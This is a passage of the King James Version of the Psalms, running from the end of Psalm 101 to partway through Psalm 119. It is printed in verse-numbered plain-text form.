neighbour, him will I cut off: him +that hath an high look and a proud heart will not I suffer. + +101:6 Mine eyes shall be upon the faithful of the land, that they may +dwell with me: he that walketh in a perfect way, he shall serve me. + +101:7 He that worketh deceit shall not dwell within my house: he that +telleth lies shall not tarry in my sight. + +101:8 I will early destroy all the wicked of the land; that I may cut +off all wicked doers from the city of the LORD. + + + +102:1 Hear my prayer, O LORD, and let my cry come unto thee. + +102:2 Hide not thy face from me in the day when I am in trouble; +incline thine ear unto me: in the day when I call answer me speedily. + +102:3 For my days are consumed like smoke, and my bones are burned as +an hearth. + +102:4 My heart is smitten, and withered like grass; so that I forget +to eat my bread. + +102:5 By reason of the voice of my groaning my bones cleave to my +skin. + +102:6 I am like a pelican of the wilderness: I am like an owl of the +desert. + +102:7 I watch, and am as a sparrow alone upon the house top. + +102:8 Mine enemies reproach me all the day; and they that are mad +against me are sworn against me. + +102:9 For I have eaten ashes like bread, and mingled my drink with +weeping. + +102:10 Because of thine indignation and thy wrath: for thou hast +lifted me up, and cast me down. + +102:11 My days are like a shadow that declineth; and I am withered +like grass. + +102:12 But thou, O LORD, shall endure for ever; and thy remembrance +unto all generations. + +102:13 Thou shalt arise, and have mercy upon Zion: for the time to +favour her, yea, the set time, is come. + +102:14 For thy servants take pleasure in her stones, and favour the +dust thereof. + +102:15 So the heathen shall fear the name of the LORD, and all the +kings of the earth thy glory. + +102:16 When the LORD shall build up Zion, he shall appear in his +glory. + +102:17 He will regard the prayer of the destitute, and not despise +their prayer. + +102:18 This shall be written for the generation to come: and the +people which shall be created shall praise the LORD. + +102:19 For he hath looked down from the height of his sanctuary; from +heaven did the LORD behold the earth; + +102:20 To hear the groaning of the prisoner; to loose those that are +appointed to death; + +102:21 To declare the name of the LORD in Zion, and his praise in +Jerusalem; + +102:22 When the people are gathered together, and the kingdoms, to +serve the LORD. + +102:23 He weakened my strength in the way; he shortened my days. + +102:24 I said, O my God, take me not away in the midst of my days: thy +years are throughout all generations. + +102:25 Of old hast thou laid the foundation of the earth: and the +heavens are the work of thy hands. + +102:26 They shall perish, but thou shalt endure: yea, all of them +shall wax old like a garment; as a vesture shalt thou change them, and +they shall be changed: + +102:27 But thou art the same, and thy years shall have no end. + +102:28 The children of thy servants shall continue, and their seed +shall be established before thee. + + + +103:1 Bless the LORD, O my soul: and all that is within me, bless his +holy name. + +103:2 Bless the LORD, O my soul, and forget not all his benefits: + +103:3 Who forgiveth all thine iniquities; who healeth all thy +diseases; + +103:4 Who redeemeth thy life from destruction; who crowneth thee with +lovingkindness and tender mercies; + +103:5 Who satisfieth thy mouth with good things; so that thy youth is +renewed like the eagle's. + +103:6 The LORD executeth righteousness and judgment for all that are +oppressed. + +103:7 He made known his ways unto Moses, his acts unto the children of +Israel. + +103:8 The LORD is merciful and gracious, slow to anger, and plenteous +in mercy. + +103:9 He will not always chide: neither will he keep his anger for +ever. + +103:10 He hath not dealt with us after our sins; nor rewarded us +according to our iniquities. + +103:11 For as the heaven is high above the earth, so great is his +mercy toward them that fear him. + +103:12 As far as the east is from the west, so far hath he removed our +transgressions from us. + +103:13 Like as a father pitieth his children, so the LORD pitieth them +that fear him. + +103:14 For he knoweth our frame; he remembereth that we are dust. + +103:15 As for man, his days are as grass: as a flower of the field, so +he flourisheth. + +103:16 For the wind passeth over it, and it is gone; and the place +thereof shall know it no more. + +103:17 But the mercy of the LORD is from everlasting to everlasting +upon them that fear him, and his righteousness unto children's +children; + +103:18 To such as keep his covenant, and to those that remember his +commandments to do them. + +103:19 The LORD hath prepared his throne in the heavens; and his +kingdom ruleth over all. + +103:20 Bless the LORD, ye his angels, that excel in strength, that do +his commandments, hearkening unto the voice of his word. + +103:21 Bless ye the LORD, all ye his hosts; ye ministers of his, that +do his pleasure. + +103:22 Bless the LORD, all his works in all places of his dominion: +bless the LORD, O my soul. + + + +104:1 Bless the LORD, O my soul. O LORD my God, thou art very great; +thou art clothed with honour and majesty. + +104:2 Who coverest thyself with light as with a garment: who +stretchest out the heavens like a curtain: + +104:3 Who layeth the beams of his chambers in the waters: who maketh +the clouds his chariot: who walketh upon the wings of the wind: + +104:4 Who maketh his angels spirits; his ministers a flaming fire: + +104:5 Who laid the foundations of the earth, that it should not be +removed for ever. + +104:6 Thou coveredst it with the deep as with a garment: the waters +stood above the mountains. + +104:7 At thy rebuke they fled; at the voice of thy thunder they hasted +away. + +104:8 They go up by the mountains; they go down by the valleys unto +the place which thou hast founded for them. + +104:9 Thou hast set a bound that they may not pass over; that they +turn not again to cover the earth. + +104:10 He sendeth the springs into the valleys, which run among the +hills. + +104:11 They give drink to every beast of the field: the wild asses +quench their thirst. + +104:12 By them shall the fowls of the heaven have their habitation, +which sing among the branches. + +104:13 He watereth the hills from his chambers: the earth is satisfied +with the fruit of thy works. + +104:14 He causeth the grass to grow for the cattle, and herb for the +service of man: that he may bring forth food out of the earth; + +104:15 And wine that maketh glad the heart of man, and oil to make his +face to shine, and bread which strengtheneth man's heart. + +104:16 The trees of the LORD are full of sap; the cedars of Lebanon, +which he hath planted; + +104:17 Where the birds make their nests: as for the stork, the fir +trees are her house. + +104:18 The high hills are a refuge for the wild goats; and the rocks +for the conies. + +104:19 He appointed the moon for seasons: the sun knoweth his going +down. + +104:20 Thou makest darkness, and it is night: wherein all the beasts +of the forest do creep forth. + +104:21 The young lions roar after their prey, and seek their meat from +God. + +104:22 The sun ariseth, they gather themselves together, and lay them +down in their dens. + +104:23 Man goeth forth unto his work and to his labour until the +evening. + +104:24 O LORD, how manifold are thy works! in wisdom hast thou made +them all: the earth is full of thy riches. + +104:25 So is this great and wide sea, wherein are things creeping +innumerable, both small and great beasts. + +104:26 There go the ships: there is that leviathan, whom thou hast +made to play therein. + +104:27 These wait all upon thee; that thou mayest give them their meat +in due season. + +104:28 That thou givest them they gather: thou openest thine hand, +they are filled with good. + +104:29 Thou hidest thy face, they are troubled: thou takest away their +breath, they die, and return to their dust. + +104:30 Thou sendest forth thy spirit, they are created: and thou +renewest the face of the earth. + +104:31 The glory of the LORD shall endure for ever: the LORD shall +rejoice in his works. + +104:32 He looketh on the earth, and it trembleth: he toucheth the +hills, and they smoke. + +104:33 I will sing unto the LORD as long as I live: I will sing praise +to my God while I have my being. + +104:34 My meditation of him shall be sweet: I will be glad in the +LORD. + +104:35 Let the sinners be consumed out of the earth, and let the +wicked be no more. Bless thou the LORD, O my soul. Praise ye the LORD. + + + +105:1 O give thanks unto the LORD; call upon his name: make known his +deeds among the people. + +105:2 Sing unto him, sing psalms unto him: talk ye of all his wondrous +works. + +105:3 Glory ye in his holy name: let the heart of them rejoice that +seek the LORD. + +105:4 Seek the LORD, and his strength: seek his face evermore. + +105:5 Remember his marvellous works that he hath done; his wonders, +and the judgments of his mouth; + +105:6 O ye seed of Abraham his servant, ye children of Jacob his +chosen. + +105:7 He is the LORD our God: his judgments are in all the earth. + +105:8 He hath remembered his covenant for ever, the word which he +commanded to a thousand generations. + +105:9 Which covenant he made with Abraham, and his oath unto Isaac; + +105:10 And confirmed the same unto Jacob for a law, and to Israel for +an everlasting covenant: + +105:11 Saying, Unto thee will I give the land of Canaan, the lot of +your inheritance: + +105:12 When they were but a few men in number; yea, very few, and +strangers in it. + +105:13 When they went from one nation to another, from one kingdom to +another people; + +105:14 He suffered no man to do them wrong: yea, he reproved kings for +their sakes; + +105:15 Saying, Touch not mine anointed, and do my prophets no harm. + +105:16 Moreover he called for a famine upon the land: he brake the +whole staff of bread. + +105:17 He sent a man before them, even Joseph, who was sold for a +servant: + +105:18 Whose feet they hurt with fetters: he was laid in iron: + +105:19 Until the time that his word came: the word of the LORD tried +him. + +105:20 The king sent and loosed him; even the ruler of the people, and +let him go free. + +105:21 He made him lord of his house, and ruler of all his substance: + +105:22 To bind his princes at his pleasure; and teach his senators +wisdom. + +105:23 Israel also came into Egypt; and Jacob sojourned in the land of +Ham. + +105:24 And he increased his people greatly; and made them stronger +than their enemies. + +105:25 He turned their heart to hate his people, to deal subtilly with +his servants. + +105:26 He sent Moses his servant; and Aaron whom he had chosen. + +105:27 They shewed his signs among them, and wonders in the land of +Ham. + +105:28 He sent darkness, and made it dark; and they rebelled not +against his word. + +105:29 He turned their waters into blood, and slew their fish. + +105:30 Their land brought forth frogs in abundance, in the chambers of +their kings. + +105:31 He spake, and there came divers sorts of flies, and lice in all +their coasts. + +105:32 He gave them hail for rain, and flaming fire in their land. + +105:33 He smote their vines also and their fig trees; and brake the +trees of their coasts. + +105:34 He spake, and the locusts came, and caterpillers, and that +without number, + +105:35 And did eat up all the herbs in their land, and devoured the +fruit of their ground. + +105:36 He smote also all the firstborn in their land, the chief of all +their strength. + +105:37 He brought them forth also with silver and gold: and there was +not one feeble person among their tribes. + +105:38 Egypt was glad when they departed: for the fear of them fell +upon them. + +105:39 He spread a cloud for a covering; and fire to give light in the +night. + +105:40 The people asked, and he brought quails, and satisfied them +with the bread of heaven. + +105:41 He opened the rock, and the waters gushed out; they ran in the +dry places like a river. + +105:42 For he remembered his holy promise, and Abraham his servant. + +105:43 And he brought forth his people with joy, and his chosen with +gladness: + +105:44 And gave them the lands of the heathen: and they inherited the +labour of the people; + +105:45 That they might observe his statutes, and keep his laws. Praise +ye the LORD. + + + +106:1 Praise ye the LORD. O give thanks unto the LORD; for he is good: +for his mercy endureth for ever. + +106:2 Who can utter the mighty acts of the LORD? who can shew forth +all his praise? + +106:3 Blessed are they that keep judgment, and he that doeth +righteousness at all times. + +106:4 Remember me, O LORD, with the favour that thou bearest unto thy +people: O visit me with thy salvation; + +106:5 That I may see the good of thy chosen, that I may rejoice in the +gladness of thy nation, that I may glory with thine inheritance. + +106:6 We have sinned with our fathers, we have committed iniquity, we +have done wickedly. + +106:7 Our fathers understood not thy wonders in Egypt; they remembered +not the multitude of thy mercies; but provoked him at the sea, even at +the Red sea. + +106:8 Nevertheless he saved them for his name's sake, that he might +make his mighty power to be known. + +106:9 He rebuked the Red sea also, and it was dried up: so he led them +through the depths, as through the wilderness. + +106:10 And he saved them from the hand of him that hated them, and +redeemed them from the hand of the enemy. + +106:11 And the waters covered their enemies: there was not one of them +left. + +106:12 Then believed they his words; they sang his praise. + +106:13 They soon forgat his works; they waited not for his counsel: + +106:14 But lusted exceedingly in the wilderness, and tempted God in +the desert. + +106:15 And he gave them their request; but sent leanness into their +soul. + +106:16 They envied Moses also in the camp, and Aaron the saint of the +LORD. + +106:17 The earth opened and swallowed up Dathan and covered the +company of Abiram. + +106:18 And a fire was kindled in their company; the flame burned up +the wicked. + +106:19 They made a calf in Horeb, and worshipped the molten image. + +106:20 Thus they changed their glory into the similitude of an ox that +eateth grass. + +106:21 They forgat God their saviour, which had done great things in +Egypt; + +106:22 Wondrous works in the land of Ham, and terrible things by the +Red sea. + +106:23 Therefore he said that he would destroy them, had not Moses his +chosen stood before him in the breach, to turn away his wrath, lest he +should destroy them. + +106:24 Yea, they despised the pleasant land, they believed not his +word: + +106:25 But murmured in their tents, and hearkened not unto the voice +of the LORD. + +106:26 Therefore he lifted up his hand against them, to overthrow them +in the wilderness: + +106:27 To overthrow their seed also among the nations, and to scatter +them in the lands. + +106:28 They joined themselves also unto Baalpeor, and ate the +sacrifices of the dead. + +106:29 Thus they provoked him to anger with their inventions: and the +plague brake in upon them. + +106:30 Then stood up Phinehas, and executed judgment: and so the +plague was stayed. + +106:31 And that was counted unto him for righteousness unto all +generations for evermore. + +106:32 They angered him also at the waters of strife, so that it went +ill with Moses for their sakes: + +106:33 Because they provoked his spirit, so that he spake unadvisedly +with his lips. + +106:34 They did not destroy the nations, concerning whom the LORD +commanded them: + +106:35 But were mingled among the heathen, and learned their works. + +106:36 And they served their idols: which were a snare unto them. + +106:37 Yea, they sacrificed their sons and their daughters unto +devils, + +106:38 And shed innocent blood, even the blood of their sons and of +their daughters, whom they sacrificed unto the idols of Canaan: and +the land was polluted with blood. + +106:39 Thus were they defiled with their own works, and went a whoring +with their own inventions. + +106:40 Therefore was the wrath of the LORD kindled against his people, +insomuch that he abhorred his own inheritance. + +106:41 And he gave them into the hand of the heathen; and they that +hated them ruled over them. + +106:42 Their enemies also oppressed them, and they were brought into +subjection under their hand. + +106:43 Many times did he deliver them; but they provoked him with +their counsel, and were brought low for their iniquity. + +106:44 Nevertheless he regarded their affliction, when he heard their +cry: + +106:45 And he remembered for them his covenant, and repented according +to the multitude of his mercies. + +106:46 He made them also to be pitied of all those that carried them +captives. + +106:47 Save us, O LORD our God, and gather us from among the heathen, +to give thanks unto thy holy name, and to triumph in thy praise. + +106:48 Blessed be the LORD God of Israel from everlasting to +everlasting: and let all the people say, Amen. Praise ye the LORD. + + + +107:1 O give thanks unto the LORD, for he is good: for his mercy +endureth for ever. + +107:2 Let the redeemed of the LORD say so, whom he hath redeemed from +the hand of the enemy; + +107:3 And gathered them out of the lands, from the east, and from the +west, from the north, and from the south. + +107:4 They wandered in the wilderness in a solitary way; they found no +city to dwell in. + +107:5 Hungry and thirsty, their soul fainted in them. + +107:6 Then they cried unto the LORD in their trouble, and he delivered +them out of their distresses. + +107:7 And he led them forth by the right way, that they might go to a +city of habitation. + +107:8 Oh that men would praise the LORD for his goodness, and for his +wonderful works to the children of men! + +107:9 For he satisfieth the longing soul, and filleth the hungry soul +with goodness. + +107:10 Such as sit in darkness and in the shadow of death, being bound +in affliction and iron; + +107:11 Because they rebelled against the words of God, and contemned +the counsel of the most High: + +107:12 Therefore he brought down their heart with labour; they fell +down, and there was none to help. + +107:13 Then they cried unto the LORD in their trouble, and he saved +them out of their distresses. + +107:14 He brought them out of darkness and the shadow of death, and +brake their bands in sunder. + +107:15 Oh that men would praise the LORD for his goodness, and for his +wonderful works to the children of men! + +107:16 For he hath broken the gates of brass, and cut the bars of iron +in sunder. + +107:17 Fools because of their transgression, and because of their +iniquities, are afflicted. + +107:18 Their soul abhorreth all manner of meat; and they draw near +unto the gates of death. + +107:19 Then they cry unto the LORD in their trouble, and he saveth +them out of their distresses. + +107:20 He sent his word, and healed them, and delivered them from +their destructions. + +107:21 Oh that men would praise the LORD for his goodness, and for his +wonderful works to the children of men! + +107:22 And let them sacrifice the sacrifices of thanksgiving, and +declare his works with rejoicing. + +107:23 They that go down to the sea in ships, that do business in +great waters; + +107:24 These see the works of the LORD, and his wonders in the deep. + +107:25 For he commandeth, and raiseth the stormy wind, which lifteth +up the waves thereof. + +107:26 They mount up to the heaven, they go down again to the depths: +their soul is melted because of trouble. + +107:27 They reel to and fro, and stagger like a drunken man, and are +at their wit's end. + +107:28 Then they cry unto the LORD in their trouble, and he bringeth +them out of their distresses. + +107:29 He maketh the storm a calm, so that the waves thereof are +still. + +107:30 Then are they glad because they be quiet; so he bringeth them +unto their desired haven. + +107:31 Oh that men would praise the LORD for his goodness, and for his +wonderful works to the children of men! + +107:32 Let them exalt him also in the congregation of the people, and +praise him in the assembly of the elders. + +107:33 He turneth rivers into a wilderness, and the watersprings into +dry ground; + +107:34 A fruitful land into barrenness, for the wickedness of them +that dwell therein. + +107:35 He turneth the wilderness into a standing water, and dry ground +into watersprings. + +107:36 And there he maketh the hungry to dwell, that they may prepare +a city for habitation; + +107:37 And sow the fields, and plant vineyards, which may yield fruits +of increase. + +107:38 He blesseth them also, so that they are multiplied greatly; and +suffereth not their cattle to decrease. + +107:39 Again, they are minished and brought low through oppression, +affliction, and sorrow. + +107:40 He poureth contempt upon princes, and causeth them to wander in +the wilderness, where there is no way. + +107:41 Yet setteth he the poor on high from affliction, and maketh him +families like a flock. + +107:42 The righteous shall see it, and rejoice: and all iniquity shall +stop her mouth. + +107:43 Whoso is wise, and will observe these things, even they shall +understand the lovingkindness of the LORD. + + + +108:1 O god, my heart is fixed; I will sing and give praise, even with +my glory. + +108:2 Awake, psaltery and harp: I myself will awake early. + +108:3 I will praise thee, O LORD, among the people: and I will sing +praises unto thee among the nations. + +108:4 For thy mercy is great above the heavens: and thy truth reacheth +unto the clouds. + +108:5 Be thou exalted, O God, above the heavens: and thy glory above +all the earth; + +108:6 That thy beloved may be delivered: save with thy right hand, and +answer me. + +108:7 God hath spoken in his holiness; I will rejoice, I will divide +Shechem, and mete out the valley of Succoth. + +108:8 Gilead is mine; Manasseh is mine; Ephraim also is the strength +of mine head; Judah is my lawgiver; + +108:9 Moab is my washpot; over Edom will I cast out my shoe; over +Philistia will I triumph. + +108:10 Who will bring me into the strong city? who will lead me into +Edom? + +108:11 Wilt not thou, O God, who hast cast us off? and wilt not thou, +O God, go forth with our hosts? + +108:12 Give us help from trouble: for vain is the help of man. + +108:13 Through God we shall do valiantly: for he it is that shall +tread down our enemies. + + + +109:1 Hold not thy peace, O God of my praise; + +109:2 For the mouth of the wicked and the mouth of the deceitful are +opened against me: they have spoken against me with a lying tongue. + +109:3 They compassed me about also with words of hatred; and fought +against me without a cause. + +109:4 For my love they are my adversaries: but I give myself unto +prayer. + +109:5 And they have rewarded me evil for good, and hatred for my love. + +109:6 Set thou a wicked man over him: and let Satan stand at his right +hand. + +109:7 When he shall be judged, let him be condemned: and let his +prayer become sin. + +109:8 Let his days be few; and let another take his office. + +109:9 Let his children be fatherless, and his wife a widow. + +109:10 Let his children be continually vagabonds, and beg: let them +seek their bread also out of their desolate places. + +109:11 Let the extortioner catch all that he hath; and let the +strangers spoil his labour. + +109:12 Let there be none to extend mercy unto him: neither let there +be any to favour his fatherless children. + +109:13 Let his posterity be cut off; and in the generation following +let their name be blotted out. + +109:14 Let the iniquity of his fathers be remembered with the LORD; +and let not the sin of his mother be blotted out. + +109:15 Let them be before the LORD continually, that he may cut off +the memory of them from the earth. + +109:16 Because that he remembered not to shew mercy, but persecuted +the poor and needy man, that he might even slay the broken in heart. + +109:17 As he loved cursing, so let it come unto him: as he delighted +not in blessing, so let it be far from him. + +109:18 As he clothed himself with cursing like as with his garment, so +let it come into his bowels like water, and like oil into his bones. + +109:19 Let it be unto him as the garment which covereth him, and for a +girdle wherewith he is girded continually. + +109:20 Let this be the reward of mine adversaries from the LORD, and +of them that speak evil against my soul. + +109:21 But do thou for me, O GOD the Lord, for thy name's sake: +because thy mercy is good, deliver thou me. + +109:22 For I am poor and needy, and my heart is wounded within me. + +109:23 I am gone like the shadow when it declineth: I am tossed up and +down as the locust. + +109:24 My knees are weak through fasting; and my flesh faileth of +fatness. + +109:25 I became also a reproach unto them: when they looked upon me +they shaked their heads. + +109:26 Help me, O LORD my God: O save me according to thy mercy: + +109:27 That they may know that this is thy hand; that thou, LORD, hast +done it. + +109:28 Let them curse, but bless thou: when they arise, let them be +ashamed; but let thy servant rejoice. + +109:29 Let mine adversaries be clothed with shame, and let them cover +themselves with their own confusion, as with a mantle. + +109:30 I will greatly praise the LORD with my mouth; yea, I will +praise him among the multitude. + +109:31 For he shall stand at the right hand of the poor, to save him +from those that condemn his soul. + + + +110:1 The LORD said unto my Lord, Sit thou at my right hand, until I +make thine enemies thy footstool. + +110:2 The LORD shall send the rod of thy strength out of Zion: rule +thou in the midst of thine enemies. + +110:3 Thy people shall be willing in the day of thy power, in the +beauties of holiness from the womb of the morning: thou hast the dew +of thy youth. + +110:4 The LORD hath sworn, and will not repent, Thou art a priest for +ever after the order of Melchizedek. + +110:5 The Lord at thy right hand shall strike through kings in the day +of his wrath. + +110:6 He shall judge among the heathen, he shall fill the places with +the dead bodies; he shall wound the heads over many countries. + +110:7 He shall drink of the brook in the way: therefore shall he lift +up the head. + + + +111:1 Praise ye the LORD. I will praise the LORD with my whole heart, +in the assembly of the upright, and in the congregation. + +111:2 The works of the LORD are great, sought out of all them that +have pleasure therein. + +111:3 His work is honourable and glorious: and his righteousness +endureth for ever. + +111:4 He hath made his wonderful works to be remembered: the LORD is +gracious and full of compassion. + +111:5 He hath given meat unto them that fear him: he will ever be +mindful of his covenant. + +111:6 He hath shewed his people the power of his works, that he may +give them the heritage of the heathen. + +111:7 The works of his hands are verity and judgment; all his +commandments are sure. + +111:8 They stand fast for ever and ever, and are done in truth and +uprightness. + +111:9 He sent redemption unto his people: he hath commanded his +covenant for ever: holy and reverend is his name. + +111:10 The fear of the LORD is the beginning of wisdom: a good +understanding have all they that do his commandments: his praise +endureth for ever. + + + +112:1 Praise ye the LORD. Blessed is the man that feareth the LORD, +that delighteth greatly in his commandments. + +112:2 His seed shall be mighty upon earth: the generation of the +upright shall be blessed. + +112:3 Wealth and riches shall be in his house: and his righteousness +endureth for ever. + +112:4 Unto the upright there ariseth light in the darkness: he is +gracious, and full of compassion, and righteous. + +112:5 A good man sheweth favour, and lendeth: he will guide his +affairs with discretion. + +112:6 Surely he shall not be moved for ever: the righteous shall be in +everlasting remembrance. + +112:7 He shall not be afraid of evil tidings: his heart is fixed, +trusting in the LORD. + +112:8 His heart is established, he shall not be afraid, until he see +his desire upon his enemies. + +112:9 He hath dispersed, he hath given to the poor; his righteousness +endureth for ever; his horn shall be exalted with honour. + +112:10 The wicked shall see it, and be grieved; he shall gnash with +his teeth, and melt away: the desire of the wicked shall perish. + + + +113:1 Praise ye the LORD. Praise, O ye servants of the LORD, praise +the name of the LORD. + +113:2 Blessed be the name of the LORD from this time forth and for +evermore. + +113:3 From the rising of the sun unto the going down of the same the +LORD's name is to be praised. + +113:4 The LORD is high above all nations, and his glory above the +heavens. + +113:5 Who is like unto the LORD our God, who dwelleth on high, + +113:6 Who humbleth himself to behold the things that are in heaven, +and in the earth! + +113:7 He raiseth up the poor out of the dust, and lifteth the needy +out of the dunghill; + +113:8 That he may set him with princes, even with the princes of his +people. + +113:9 He maketh the barren woman to keep house, and to be a joyful +mother of children. Praise ye the LORD. + + + +114:1 When Israel went out of Egypt, the house of Jacob from a people +of strange language; + +114:2 Judah was his sanctuary, and Israel his dominion. + +114:3 The sea saw it, and fled: Jordan was driven back. + +114:4 The mountains skipped like rams, and the little hills like +lambs. + +114:5 What ailed thee, O thou sea, that thou fleddest? thou Jordan, +that thou wast driven back? + +114:6 Ye mountains, that ye skipped like rams; and ye little hills, +like lambs? + +114:7 Tremble, thou earth, at the presence of the Lord, at the +presence of the God of Jacob; + +114:8 Which turned the rock into a standing water, the flint into a +fountain of waters. + + + +115:1 Not unto us, O LORD, not unto us, but unto thy name give glory, +for thy mercy, and for thy truth's sake. + +115:2 Wherefore should the heathen say, Where is now their God? + +115:3 But our God is in the heavens: he hath done whatsoever he hath +pleased. + +115:4 Their idols are silver and gold, the work of men's hands. + +115:5 They have mouths, but they speak not: eyes have they, but they +see not: + +115:6 They have ears, but they hear not: noses have they, but they +smell not: + +115:7 They have hands, but they handle not: feet have they, but they +walk not: neither speak they through their throat. + +115:8 They that make them are like unto them; so is every one that +trusteth in them. + +115:9 O Israel, trust thou in the LORD: he is their help and their +shield. + +115:10 O house of Aaron, trust in the LORD: he is their help and their +shield. + +115:11 Ye that fear the LORD, trust in the LORD: he is their help and +their shield. + +115:12 The LORD hath been mindful of us: he will bless us; he will +bless the house of Israel; he will bless the house of Aaron. + +115:13 He will bless them that fear the LORD, both small and great. + +115:14 The LORD shall increase you more and more, you and your +children. + +115:15 Ye are blessed of the LORD which made heaven and earth. + +115:16 The heaven, even the heavens, are the LORD's: but the earth +hath he given to the children of men. + +115:17 The dead praise not the LORD, neither any that go down into +silence. + +115:18 But we will bless the LORD from this time forth and for +evermore. + +Praise the LORD. + + + +116:1 I love the LORD, because he hath heard my voice and my +supplications. + +116:2 Because he hath inclined his ear unto me, therefore will I call +upon him as long as I live. + +116:3 The sorrows of death compassed me, and the pains of hell gat +hold upon me: I found trouble and sorrow. + +116:4 Then called I upon the name of the LORD; O LORD, I beseech thee, +deliver my soul. + +116:5 Gracious is the LORD, and righteous; yea, our God is merciful. + +116:6 The LORD preserveth the simple: I was brought low, and he helped +me. + +116:7 Return unto thy rest, O my soul; for the LORD hath dealt +bountifully with thee. + +116:8 For thou hast delivered my soul from death, mine eyes from +tears, and my feet from falling. + +116:9 I will walk before the LORD in the land of the living. + +116:10 I believed, therefore have I spoken: I was greatly afflicted: + +116:11 I said in my haste, All men are liars. + +116:12 What shall I render unto the LORD for all his benefits toward +me? + +116:13 I will take the cup of salvation, and call upon the name of the +LORD. + +116:14 I will pay my vows unto the LORD now in the presence of all his +people. + +116:15 Precious in the sight of the LORD is the death of his saints. + +116:16 O LORD, truly I am thy servant; I am thy servant, and the son +of thine handmaid: thou hast loosed my bonds. + +116:17 I will offer to thee the sacrifice of thanksgiving, and will +call upon the name of the LORD. + +116:18 I will pay my vows unto the LORD now in the presence of all his +people. + +116:19 In the courts of the LORD's house, in the midst of thee, O +Jerusalem. Praise ye the LORD. + + + +117:1 O praise the LORD, all ye nations: praise him, all ye people. + +117:2 For his merciful kindness is great toward us: and the truth of +the LORD endureth for ever. Praise ye the LORD. + + + +118:1 O give thanks unto the LORD; for he is good: because his mercy +endureth for ever. + +118:2 Let Israel now say, that his mercy endureth for ever. + +118:3 Let the house of Aaron now say, that his mercy endureth for +ever. + +118:4 Let them now that fear the LORD say, that his mercy endureth for +ever. + +118:5 I called upon the LORD in distress: the LORD answered me, and +set me in a large place. + +118:6 The LORD is on my side; I will not fear: what can man do unto +me? + +118:7 The LORD taketh my part with them that help me: therefore shall +I see my desire upon them that hate me. + +118:8 It is better to trust in the LORD than to put confidence in man. + +118:9 It is better to trust in the LORD than to put confidence in +princes. + +118:10 All nations compassed me about: but in the name of the LORD +will I destroy them. + +118:11 They compassed me about; yea, they compassed me about: but in +the name of the LORD I will destroy them. + +118:12 They compassed me about like bees: they are quenched as the +fire of thorns: for in the name of the LORD I will destroy them. + +118:13 Thou hast thrust sore at me that I might fall: but the LORD +helped me. + +118:14 The LORD is my strength and song, and is become my salvation. + +118:15 The voice of rejoicing and salvation is in the tabernacles of +the righteous: the right hand of the LORD doeth valiantly. + +118:16 The right hand of the LORD is exalted: the right hand of the +LORD doeth valiantly. + +118:17 I shall not die, but live, and declare the works of the LORD. + +118:18 The LORD hath chastened me sore: but he hath not given me over +unto death. + +118:19 Open to me the gates of righteousness: I will go into them, and +I will praise the LORD: + +118:20 This gate of the LORD, into which the righteous shall enter. + +118:21 I will praise thee: for thou hast heard me, and art become my +salvation. + +118:22 The stone which the builders refused is become the head stone +of the corner. + +118:23 This is the LORD's doing; it is marvellous in our eyes. + +118:24 This is the day which the LORD hath made; we will rejoice and +be glad in it. + +118:25 Save now, I beseech thee, O LORD: O LORD, I beseech thee, send +now prosperity. + +118:26 Blessed be he that cometh in the name of the LORD: we have +blessed you out of the house of the LORD. + +118:27 God is the LORD, which hath shewed us light: bind the sacrifice +with cords, even unto the horns of the altar. + +118:28 Thou art my God, and I will praise thee: thou art my God, I +will exalt thee. + +118:29 O give thanks unto the LORD; for he is good: for his mercy +endureth for ever. + + + +119:1 Blessed are the undefiled in the way, who walk in the law of the +LORD. + +119:2 Blessed are they that keep his testimonies, and that seek him +with the whole heart. + +119:3 They also do no iniquity: they walk in his ways. + +119:4 Thou hast commanded us to keep thy precepts diligently. + +119:5 O that my ways were directed to keep thy statutes! + +119:6 Then shall I not be ashamed, when I have respect unto all thy +commandments. + +119:7 I will praise thee with uprightness of heart, when I shall have +learned thy righteous judgments. + +119:8 I will keep thy statutes: O forsake me not utterly. + +119:9 Wherewithal shall a young man cleanse his way? by taking heed +thereto according to thy word. + +119:10 With my whole heart have I sought thee: O let me not wander +from thy commandments. + +119:11 Thy word have I hid in mine heart, that I might not sin against +thee. + +119:12 Blessed art thou, O LORD: teach me thy statutes. + +119:13 With my lips have I declared all the judgments of thy mouth. + +119:14 I have rejoiced in the way of thy testimonies, as much as in +all riches. + +119:15 I will meditate in thy precepts, and have respect unto thy +ways. + +119:16 I will delight myself in thy statutes: I will not forget thy +word. + +119:17 Deal bountifully with thy servant, that I may live, and keep +thy word. + +119:18 Open thou mine eyes, that I may behold wondrous things out of +thy law. + +119:19 I am a stranger in the earth: hide not thy commandments from +me. + +119:20 My soul breaketh for the longing that it hath unto thy +judgments at all times. + +119:21 Thou hast rebuked the proud that are cursed, which do err from +thy commandments. + +119:22 Remove from me reproach and contempt; for I have kept thy +testimonies. + +119:23 Princes also did sit and speak against me: but thy servant did +meditate in thy statutes. + +119:24 Thy testimonies also are my delight and my counsellors.leth. + +119:25 My soul cleaveth unto the dust: quicken thou me according to +thy word. + +119:26 I have declared my ways, and thou heardest me: teach me thy +statutes. + +119:27 Make me to understand the way of thy precepts: so shall I talk +of thy wondrous works. + +119:28 My soul melteth for heaviness: strengthen thou me according +unto thy word. + +119:29 Remove from me the way of lying: and grant me thy law +graciously. + +119:30 I have chosen the way of truth: thy judgments have I laid +before me. + +119:31 I have stuck unto thy testimonies: O LORD, put me not to shame. + +119:32 I will run the way of thy commandments, when thou shalt enlarge +my heart. + +119:33 Teach me, O LORD, the way of thy statutes; and I shall keep it +unto the end. + +119:34 Give me understanding, and I shall keep thy law; yea, I shall +observe it with my whole heart. + +119:35 Make me to go in the path of thy commandments; for therein do I +delight. + +119:36 Incline my heart unto thy testimonies, and not to covetousness. + +119:37 Turn away mine eyes from beholding vanity; and quicken thou me +in thy way. + +119:38 Stablish thy word unto thy servant, who is devoted to thy fear. + +119:39 Turn away my reproach which I fear: for thy judgments are good. + +119:40 Behold, I have longed after thy precepts: quicken me in thy +righteousness. + +119:41 Let thy mercies come also unto me, O LORD, even thy salvation, +according to thy word. + +119:42 So shall I have wherewith to answer him that reproacheth me: +for I trust in thy word. + +119:43 And take not the word of truth utterly out of my mouth; for I +have hoped in thy judgments. + +119:44 So shall I keep thy law continually for ever and ever. + +119:45 And I will walk at liberty: for I seek thy precepts. + +119:46 I will speak of thy testimonies also before kings, and will not +be ashamed. + +119:47 And I will delight myself in thy commandments, which I have +loved. + +119:48 My hands also will I lift up unto thy commandments, which I +have loved; and I will meditate in thy statutes. + +119:49 Remember the word unto thy servant, upon which thou hast caused +me to hope. + +119:50 This is my 